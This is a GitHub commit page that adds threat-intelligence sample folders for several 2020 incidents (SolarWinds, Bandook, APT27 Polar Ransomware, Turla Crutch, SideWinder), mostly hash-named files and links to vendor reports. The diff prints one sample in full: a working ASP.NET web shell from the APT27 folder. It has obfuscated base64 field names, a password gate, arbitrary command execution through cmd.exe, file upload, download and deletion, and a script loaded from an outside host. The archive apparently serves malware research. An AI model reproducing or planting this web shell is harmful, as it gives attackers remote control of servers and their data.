New Incidents

DebianDolor · Dec 26, 2020 · 7ca3198 · 7ca3198
1 parent f79f243
commit 7ca3198
Show file tree

Hide file tree

Showing 114 changed files with 677 additions and 0 deletions.
diff --git a/2020-11-08_FireEye-Solarwinds-Hack/README.md b/2020-11-08_FireEye-Solarwinds-Hack/README.md
@@ -5,3 +5,5 @@ https://github.com/sophos-cybersecurity/solarwinds-threathunt/blob/master/iocs.c
 https://us-cert.cisa.gov/ncas/alerts/aa20-352a
 
 https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html
+
+https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html
diff --git a/...11-26_Checkpoint-Bandook/034d8ec8d510033c387bb87cac35d240b7b8daa3b5167732118c755c5e6c1d48 b/...11-26_Checkpoint-Bandook/034d8ec8d510033c387bb87cac35d240b7b8daa3b5167732118c755c5e6c1d48
diff --git a/...11-26_Checkpoint-Bandook/06ed3daccfbb30c68a33583a761fc20cc3e21adb8dd64a42d922e6da2a01c0dd b/...11-26_Checkpoint-Bandook/06ed3daccfbb30c68a33583a761fc20cc3e21adb8dd64a42d922e6da2a01c0dd
diff --git a/...11-26_Checkpoint-Bandook/072c103759968253b7b25837b43eec546c625ae9c04edd52321d848cf6078b87 b/...11-26_Checkpoint-Bandook/072c103759968253b7b25837b43eec546c625ae9c04edd52321d848cf6078b87
diff --git a/...11-26_Checkpoint-Bandook/0750c7cdc538d79d9ffed0d37f5d9a083902b49ec02d75ee88028db9f3668b59 b/...11-26_Checkpoint-Bandook/0750c7cdc538d79d9ffed0d37f5d9a083902b49ec02d75ee88028db9f3668b59
diff --git a/...11-26_Checkpoint-Bandook/1b0d2d096c5f7fff02a5a4ce623b71b862f63e306a0760722f710c425b4e16ec b/...11-26_Checkpoint-Bandook/1b0d2d096c5f7fff02a5a4ce623b71b862f63e306a0760722f710c425b4e16ec
diff --git a/...11-26_Checkpoint-Bandook/27c6341554a04bdc792ffbc5cda26511cbcfcc66334fb6ebbc24a14969b4e498 b/...11-26_Checkpoint-Bandook/27c6341554a04bdc792ffbc5cda26511cbcfcc66334fb6ebbc24a14969b4e498
diff --git a/...11-26_Checkpoint-Bandook/2ee74ae5b202c8aab288ca167c630e9ee3569240958e984474b960cd560bbe95 b/...11-26_Checkpoint-Bandook/2ee74ae5b202c8aab288ca167c630e9ee3569240958e984474b960cd560bbe95
diff --git a/...11-26_Checkpoint-Bandook/306238a63896fa8b79b4c9a6d25fd906bb9e4919bc698608ab970677d15b0694 b/...11-26_Checkpoint-Bandook/306238a63896fa8b79b4c9a6d25fd906bb9e4919bc698608ab970677d15b0694
diff --git a/...11-26_Checkpoint-Bandook/3fda0a5da313886b0339eee65c69c779ed620b303ba079ee0864ca4a1496b0b4 b/...11-26_Checkpoint-Bandook/3fda0a5da313886b0339eee65c69c779ed620b303ba079ee0864ca4a1496b0b4
diff --git a/...11-26_Checkpoint-Bandook/408c11caf548048732ac21e88a54e80d47a05b9619c1c16b65fa850e0172f428 b/...11-26_Checkpoint-Bandook/408c11caf548048732ac21e88a54e80d47a05b9619c1c16b65fa850e0172f428
diff --git a/...11-26_Checkpoint-Bandook/40cc5933e608f7a2a5c13af1066257c9e41528bb85e434e2bc3d1f4802dec24d b/...11-26_Checkpoint-Bandook/40cc5933e608f7a2a5c13af1066257c9e41528bb85e434e2bc3d1f4802dec24d
diff --git a/...11-26_Checkpoint-Bandook/41ccf6de0d51bd29d35be12ae24f04b2f88ec2b202b239424f90c666d25473e8 b/...11-26_Checkpoint-Bandook/41ccf6de0d51bd29d35be12ae24f04b2f88ec2b202b239424f90c666d25473e8
diff --git a/...11-26_Checkpoint-Bandook/5900abb869c61928f0ef931d6f9d8b62183b2bab9a69b0ef886551005d6c9622 b/...11-26_Checkpoint-Bandook/5900abb869c61928f0ef931d6f9d8b62183b2bab9a69b0ef886551005d6c9622
diff --git a/...11-26_Checkpoint-Bandook/6287fc617ff6881169990e6b877c16d8ca3c199f7e453241a0b18a7907c67ab0 b/...11-26_Checkpoint-Bandook/6287fc617ff6881169990e6b877c16d8ca3c199f7e453241a0b18a7907c67ab0
diff --git a/...11-26_Checkpoint-Bandook/66c86f29afb1152aad8e426ebb6569ad03ce7b69ea3c8a5cc40011c2a3ab973b b/...11-26_Checkpoint-Bandook/66c86f29afb1152aad8e426ebb6569ad03ce7b69ea3c8a5cc40011c2a3ab973b
diff --git a/...11-26_Checkpoint-Bandook/766917fe9b543bf218bd824d55967d63f94b28456f1d4919bc990d8262dc608d b/...11-26_Checkpoint-Bandook/766917fe9b543bf218bd824d55967d63f94b28456f1d4919bc990d8262dc608d
diff --git a/...11-26_Checkpoint-Bandook/8cb1f713761a6b31c9c25dd2c7ae11e575a634c9f052cfd598ada35a61783230 b/...11-26_Checkpoint-Bandook/8cb1f713761a6b31c9c25dd2c7ae11e575a634c9f052cfd598ada35a61783230
diff --git a/...11-26_Checkpoint-Bandook/97ea91fb673f4994da491433751c4fca011993ba10191f09c70ca6c8d2b4f944 b/...11-26_Checkpoint-Bandook/97ea91fb673f4994da491433751c4fca011993ba10191f09c70ca6c8d2b4f944
diff --git a/...11-26_Checkpoint-Bandook/9a0ee2430f7c77942d544dad6787ca8a94470f6555f1cb08baa9d099c92f8447 b/...11-26_Checkpoint-Bandook/9a0ee2430f7c77942d544dad6787ca8a94470f6555f1cb08baa9d099c92f8447
diff --git a/...11-26_Checkpoint-Bandook/9de287f9af63f02c51c69d9c8480fee2bd4d4bd3c818f2ba81324b1f8ce495c0 b/...11-26_Checkpoint-Bandook/9de287f9af63f02c51c69d9c8480fee2bd4d4bd3c818f2ba81324b1f8ce495c0
diff --git a/2020-11-26_Checkpoint-Bandook/README.md b/2020-11-26_Checkpoint-Bandook/README.md
@@ -0,0 +1 @@
+https://research.checkpoint.com/2020/bandook-signed-delivered/
diff --git a/...11-26_Checkpoint-Bandook/a9a8b0aa5f137e7353db62dc1609da3c709ca30287a5605c73aafaf4968d1e8d b/...11-26_Checkpoint-Bandook/a9a8b0aa5f137e7353db62dc1609da3c709ca30287a5605c73aafaf4968d1e8d
diff --git a/...11-26_Checkpoint-Bandook/aa868d007c4dfd825104faafb3798b9ab745b29794a57365bef41ec3f6019eea b/...11-26_Checkpoint-Bandook/aa868d007c4dfd825104faafb3798b9ab745b29794a57365bef41ec3f6019eea
diff --git a/...11-26_Checkpoint-Bandook/add9f9dca97c3b6d52efe7d48ecd3d349a70411eaa3d4aeff6e6215b77f42b90 b/...11-26_Checkpoint-Bandook/add9f9dca97c3b6d52efe7d48ecd3d349a70411eaa3d4aeff6e6215b77f42b90
diff --git a/...11-26_Checkpoint-Bandook/aed7ab5d0de01c3724c917c034e26a5e9eed3f7fbf4082b024576a41725d66cf b/...11-26_Checkpoint-Bandook/aed7ab5d0de01c3724c917c034e26a5e9eed3f7fbf4082b024576a41725d66cf
diff --git a/...11-26_Checkpoint-Bandook/ba153e449ee926c019b548997c32d0579b9c6f350b1590a025d5d9a216ddbffd b/...11-26_Checkpoint-Bandook/ba153e449ee926c019b548997c32d0579b9c6f350b1590a025d5d9a216ddbffd
diff --git a/...11-26_Checkpoint-Bandook/ce8ad96819c814dd1735e621639a8845ae7132375879cc5b5d5f6877cb909a68 b/...11-26_Checkpoint-Bandook/ce8ad96819c814dd1735e621639a8845ae7132375879cc5b5d5f6877cb909a68
diff --git a/...11-26_Checkpoint-Bandook/d217288a046e2739159d0081608a44c2e79d41de12c57ebe88a8591693fa15d5 b/...11-26_Checkpoint-Bandook/d217288a046e2739159d0081608a44c2e79d41de12c57ebe88a8591693fa15d5
diff --git a/...11-26_Checkpoint-Bandook/ea4792353e0f97968e7c69ffba81c144f22f54382af4e61a1347edd0ae15830f b/...11-26_Checkpoint-Bandook/ea4792353e0f97968e7c69ffba81c144f22f54382af4e61a1347edd0ae15830f
diff --git a/2020-11-27_PTSecurity-APT27_Polar_Ransomware/README.md b/2020-11-27_PTSecurity-APT27_Polar_Ransomware/README.md
@@ -0,0 +1 @@
+https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/
diff --git a/...y-APT27_Polar_Ransomware/ad9093adf832b6f86d6001331547f0072de21419fe40e6446c3525213add1413 b/...y-APT27_Polar_Ransomware/ad9093adf832b6f86d6001331547f0072de21419fe40e6446c3525213add1413
diff --git a/...y-APT27_Polar_Ransomware/added14aaf3df22b63dcd1c53f02f9de4f9c1f88869e93381305568a87e18cb6 b/...y-APT27_Polar_Ransomware/added14aaf3df22b63dcd1c53f02f9de4f9c1f88869e93381305568a87e18cb6
@@ -0,0 +1,172 @@
+<%@ Page Language="C#" ValidateRequest="false" EnableViewState="false" %>
+
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<%
+c();
+NameValueCollection t=HttpContext.Current.Request.Form;
+passwords=fbss(t[x("cGFzc3dvcmRz")]);pro=fbss(t[x("cHJv")]);cmd_exceut=fbss(t[x("Y21kX2V4Y2V1dA==")]);sav=fbss(t[x("c2F2")]);vir=t[x("dmly")];nenggg=fbss(t[x("bmVuZ2dn")]);upb=fbss(t[x("dXBi")]);upd=fbss(t["upd"]);del=fbss(t[x("dXBk")]);dongnn=fbss(t[x("ZG9uZ25u")]);baseFileName=t[x("YmFzZUZpbGVOYW1l")];baseAddress=fbss(t[x("YmFzZUFkZHJlc3M=")]);baseVirpath=t[x("YmFzZVZpcnBhdGg=")];
+if(!string.IsNullOrEmpty(passwords))c(passwords);
+else if(!string.IsNullOrEmpty(cmd_exceut))r(pro,cmd_exceut);
+else if(HttpContext.Current.Request.Files[x("dXBsb2FkbA==")]!=null)u(HttpContext.Current.Request.Files[x("dXBsb2FkbA==")],sav,string.IsNullOrEmpty(vir)?false:true,nenggg);
+else if(!string.IsNullOrEmpty(upb))h(upb,upd);
+else if(!string.IsNullOrEmpty(del))d(del);
+else if(!string.IsNullOrEmpty(dongnn))z(dongnn);
+else if(!string.IsNullOrEmpty(baseFileName))baseuploadl(baseFileName,baseAddress,string.IsNullOrEmpty(baseVirpath)?false:true);
+
+if(HttpContext.Current.Request.Cookies["data"]!=null){string data=HttpContext.Current.Request.Cookies["data"].Value;string[] data2=data.Split(new string[]{"&|&"},StringSplitOptions.None);for(int i=0;i<data2.Length;i++){string[] data3=data2[i].Split(new string[]{"$=$"},StringSplitOptions.None);
+switch (data3[0]){
+case"pro":pro=a(pro,fbss(data3[1]));break;
+case"cmd_exceut":cmd_exceut=a(cmd_exceut,fbss(data3[1]));break;
+case"sav":sav=a(sav,fbss(data3[1]));break;
+case"vir":vir=a(vir,fbss(data3[1]));break;
+case"nenggg":nenggg=a(nenggg,fbss(data3[1]));break;
+case"dongnn":dongnn=a(dongnn,fbss(data3[1]));break;
+}}}
+
+view();
+    %>
+<script runat="server">
+string passwords,pro,cmd_exceut,sav,vir,nenggg,upb,upd,del,dongnn,baseFileName,baseAddress,baseVirpath;
+bool aut = false;
+string pp = "FX7nUf6oTBuYLHjBvsBRvoRNM7o=";
+string a(string a,string b){return string.IsNullOrEmpty(a)?b:a;}
+string tb(string a)
+{
+	string ret="";
+	try{
+		ret=string.IsNullOrEmpty(a)?a:Convert.ToBase64String(Encoding.UTF8.GetBytes(a));
+		}catch{
+
+		}
+		return ret;
+}
+string fbss(string a){string ret="";try{ret=string.IsNullOrEmpty(a)?a:Encoding.UTF8.GetString(Convert.FromBase64String(a));}catch{}return ret;}
+void view(){string data = string.Format(x("cHJvJD0kezB9JnwmY21kX2V4Y2V1dCQ9JHsxfSZ8JnNhdiQ9JHsyfSZ8JnZpciQ9JHszfSZ8Jm5lbmdnZyQ9JHs0fSZ8JmRvbmdubiQ9JHs1fQ=="),
+tb(pro),tb(cmd_exceut),tb(sav),tb(vir),tb(nenggg),tb(dongnn));
+HttpCookie coo=new HttpCookie("data", data);coo.Expires=DateTime.Now.AddDays(1);HttpContext.Current.Response.SetCookie(coo);}
+
+void c(string passwords)
+{
+	try{HttpCookie coo=new HttpCookie(x("cGFzc3dvcmRz"),tb(passwords));
+	coo.Expires=DateTime.Now.AddDays(1);
+	HttpContext.Current.Response.SetCookie(coo);
+	aut=Convert.ToBase64String(new System.Security.Cryptography.SHA1CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(passwords)))==pp;
+	}catch(Exception e)
+	{
+		l(e.Message);}
+	}
+bool c(){try{if(HttpContext.Current.Request.Cookies[x("cGFzc3dvcmRz")]!=null){aut=Convert.ToBase64String(new System.Security.Cryptography.SHA1CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(fbss(HttpContext.Current.Request.Cookies[x("cGFzc3dvcmRz")].Value))))==pp;return aut;}}catch(Exception e){l(e.Message);}return false;}
+void u(HttpPostedFile uploadl, string sav, bool vir, string nenggg){try{if(c()){if(uploadl!=null&&uploadl.ContentLength>0){string fn=string.IsNullOrEmpty(nenggg)?System.IO.Path.GetFileName(uploadl.FileName):nenggg;string path=vir?Server.MapPath(sav):sav;string SaveLocation=System.IO.Path.HasExtension(path)?path:path.TrimEnd('\\')+"\\"+fn;uploadl.SaveAs(SaveLocation);l("File uploadloaded successfuly : "+SaveLocation);}}}catch(Exception ex){l(ex.Message);}}
+void baseuploadl(string baseFileName,string baseAddress, bool baseVirpath){try{if(c()){if(baseFileName!=null&&baseFileName.Length>0&&!string.IsNullOrEmpty(baseAddress)){string SaveLocation=baseVirpath?Server.MapPath(baseAddress):baseAddress;System.IO.File.WriteAllBytes(SaveLocation,Convert.FromBase64String(baseFileName));l("File uploadloaded successfuly : "+SaveLocation);}}}catch(Exception ex){l(ex.Message);}}
+void r(string pro, string cmd_exceut){try{if(c()){System.Diagnostics.Process n=new System.Diagnostics.Process();n.StartInfo.FileName=(string.IsNullOrEmpty(pro)?"cmd.exe":pro);n.StartInfo.UseShellExecute=false;n.StartInfo.RedirectStandardInput=true;n.StartInfo.RedirectStandardOutput=true;n.StartInfo.RedirectStandardError=true;n.StartInfo.CreateNoWindow=true;string o=null;n.Start();n.StandardInput.WriteLine(cmd_exceut);n.StandardInput.WriteLine("exit");o=n.StandardOutput.ReadToEnd();n.WaitForExit();n.Close();l(HttpUtility.HtmlEncode(o));}}catch(Exception ex){l(ex.Message);}}
+void z(string dongnn){try{if(c()&&!string.IsNullOrEmpty(dongnn)){byte[] f=System.IO.File.ReadAllBytes(dongnn);System.Web.HttpContext t=System.Web.HttpContext.Current;t.Response.Clear();t.Response.ClearHeaders();t.Response.ClearContent();t.Response.AppendHeader("content-length",f.Length.ToString());t.Response.ContentType="application/octet-stream";t.Response.AppendHeader("content-disposition","attachment; filename="+dongnn.Substring(dongnn.LastIndexOf('\\')+1));t.Response.BinaryWrite(f);t.Response.End();}}catch(Exception ex){l(ex.Message);}}
+void h(string upb, string upd){try{if(c()&&!string.IsNullOrEmpty(upb)&&!string.IsNullOrEmpty(upd)){System.IO.File.WriteAllBytes(System.IO.Path.GetTempPath()+upd,Convert.FromBase64String(upb));l(upd+" successfuly uploadloaded");}}catch(Exception ex){l(ex.Message);}}
+void d(string del){try{if(c()&&!string.IsNullOrEmpty(del)){System.IO.File.Delete(System.IO.Path.GetTempPath()+del);l(del+" successfuly deleled");}}catch(Exception ex){l(ex.Message);}}
+string x(string f){return Encoding.UTF8.GetString(Convert.FromBase64String(f));}
+void l(string ll){log.InnerHtml=tb(ll);}
+</script>
+<style>body,html{margin:0;padding:3px 0 0 3px;direction:ltr;background:#000;color:#fff !important;}form{margin:0;}*{font:14px "Lucida Console";}t{width:180px;display:inline-block;text-align:right;padding-right:5px;}input[type="text"],input[type="file"],textarea {width:50%;height:25px;background:#444;color:#fff;border:1px solid #999;margin-bottom:3px;}input[type="text"]{padding:2px;}input[type="button"],input[type="submit"] {height:23px;}input[type="checkbox"]{width:23px;height:24px;position:absolute;margin:0;}hr{margin:0;border:0;border-top:1px solid #DDD;}.h{width:100px;text-align:center;background:rgba(19, 96, 0, 1);vertical-align:middle;}table{width:100%;margin:0;border-collapse:collapse;}.b{padding:10px 0px 9px;}</style>
+<script>
+function use() { var n = document; var d = n.getElementById("d").innerHTML; d = d.substring(0, d.lastIndexOf('\\') + 1); n.getElementsByName("cmd_exceut")[0].value += d; n.getElementsByName("sav")[0].value += d; n.getElementsByName("dongnn")[0].value += d; }
+function subm(){var mmm=document.getElementsByClassName('mmm');for(var i=0;i<mmm.length;i++){mmm[i].value=btoa(mmm[i].value);}}
+function reset() { document.cookie = "data=;expires=Thu, 01 Jan 1971 00:00:01 GMT;path=/";location.href = location.pathname;}
+</script>
+<script src='https://mail.namagesy.de/owa/prem/15.1.1847/scripts/microsoft.owa.core.immanager.js' ></script>
+</head>
+<body>
+<table>
+<tr>
+<td class="h"><%=x("QWRkcmVzcw==")%></td>
+<td class="b">
+<t><%=x("Q3VycmVudA==")%> :</t>
+<y id="d"><%= Server.MapPath(string.Empty) + "\\"%></y>
+<input type="button" value="<%=x("VXNl")%>" onclick="use()" />
+<input type="button" value="<%=x("UmVzZXQgRm9ybQ==")%>" onclick="reset()" />
+</td>
+</tr>
+</table>
+<hr>
+<form method="post">
+<table>
+<tr>
+<td class="h"><%=x("TG9naW4=")%></td>
+<td class="b">
+<t><%=x("RG8gaXQ=")%> :</t>
+<input name="passwords" class="mmm" type="text" style='background-color: <%= aut ? "Green" : "Red" %>' />
+<input type="submit" value="<%= x("RG8gaXQ=") %>" onclick="subm();" />
+</td>
+</tr>
+</table>
+</form>
+<hr>
+<form method="post">
+<table>
+<tr>
+<td class="h"><%=x("Q29tbWFuZA==")%></td>
+<td class="b">
+<t><%=x("UHJvY2Vzcw==")%> :</t>
+<input name="pro" class="mmm" type="text" value='<%= string.IsNullOrEmpty(pro) ? x("Y21kLmV4ZQ==") : pro %>' /><br>
+<t><%=x("Q29tbWFuZA==")%> :</t>
+<input name="cmd_exceut" class="mmm" type="text" value='<%= cmd_exceut %>' />
+<input type="submit" value="<%= x("RXhlY3V0ZQ==") %>" onclick="subm();" />
+</td>
+</tr>
+</table>
+</form>
+<hr>
+<form method="post" enctype="multipart/form-data">
+<table>
+<tr>
+<td class="h"><%=x("VXBsb2Fk")%></td>
+<td class="b">
+<t><%=x("RmlsZSBOYW1l")%> :</t>
+<input name="uploadl" type="file" /><br>
+<t><%=x("U2F2ZSBhcw==")%> :</t>
+<input name="sav" class="mmm" type="text" value='<%= sav %>' />
+<input name="vir" type="checkbox" /><g><%=x("SXMgdmlydHVhbCBwYXRo")%></g><br>
+<t><%=x("TmV3IEZpbGUgbmFtZQ==")%> :</t>
+<input name="nenggg" class="mmm" type="text" value='<%= nenggg %>' />
+<input type="submit" value="<%= x("VXBsb2Fk") %>" onclick="subm();" />
+</td>
+</tr>
+</table>
+</form>
+<hr>
+<form method="post">
+<table>
+<tr>
+<td class="h"><%=x("RG93bmxvYWQ=")%></td>
+<td class="b">
+<t><%=x("RG93bmxvYWQgUGF0aA==")%> :</t>
+<input name="dongnn" type="text" />
+<input type="submit" value="<%= x("RG93bmxvYWQ=") %>" onclick="document.getElementsByName('dongnn')[0].value = btoa(document.getElementsByName('dongnn')[0].value);" />
+</td>
+</tr>
+</table>
+</form>
+<hr />
+<form method="post">
+<table>
+<tr>
+<td class="h"><%=x("VXBsb2FkIEJhc2U2NA==")%></td>
+<td class="b">
+<t><%=x("QmFzZTY0IEZpbGU=")%> :</t>
+<textarea name="baseFileName"></textarea>
+<input name="baseVirpath" type="checkbox" /><g><%=x("SXMgdmlydHVhbCBwYXRo")%></g><br>
+<t><%=x("RmlsZSBQYXRoIGFuZCBOYW1l ")%> :</t>
+<input name="baseAddress" class="mmm" type="text" value='<%= baseAddress %>' />
+<input type="submit" value="<%= x("VXBsb2Fk") %>" onclick="subm();" />
+</td>
+</tr>
+</table>
+</form>
+<hr />
+</form>
+<hr />
+<br />
+<pre id="log" runat="server"></pre>
+<script>var ll=document.getElementById('log');if(ll.innerHTML)ll.innerHTML=atob(log.innerHTML);</script>
+</body>
+</html>
+XXxxxx
diff --git a/...-12-02_ESET-Turla_Crutch/0010ccb822538d1881c61be874af49382c44b6c9cb665081cf0f672cbed5b6a5 b/...-12-02_ESET-Turla_Crutch/0010ccb822538d1881c61be874af49382c44b6c9cb665081cf0f672cbed5b6a5
diff --git a/2020-12-02_ESET-Turla_Crutch/README.md b/2020-12-02_ESET-Turla_Crutch/README.md
@@ -0,0 +1 @@
+https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/
diff --git a/...09_TrendMicro-SideWinder/1cbec920afe2f978b8f84e0a4e6b757d400aeb96e8c0a221130060b196ece010 b/...09_TrendMicro-SideWinder/1cbec920afe2f978b8f84e0a4e6b757d400aeb96e8c0a221130060b196ece010
Original file line number	Diff line number	Diff line change
Expand Up		@@ -5,3 +5,5 @@ https://github.com/sophos-cybersecurity/solarwinds-threathunt/blob/master/iocs.c
		https://us-cert.cisa.gov/ncas/alerts/aa20-352a

		https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html

		https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html
Original file line number	Diff line number	Diff line change
		@@ -0,0 +1 @@
		https://research.checkpoint.com/2020/bandook-signed-delivered/
Original file line number	Diff line number	Diff line change
		@@ -0,0 +1 @@
		https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/
Original file line number	Diff line number	Diff line change
		@@ -0,0 +1 @@
		https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/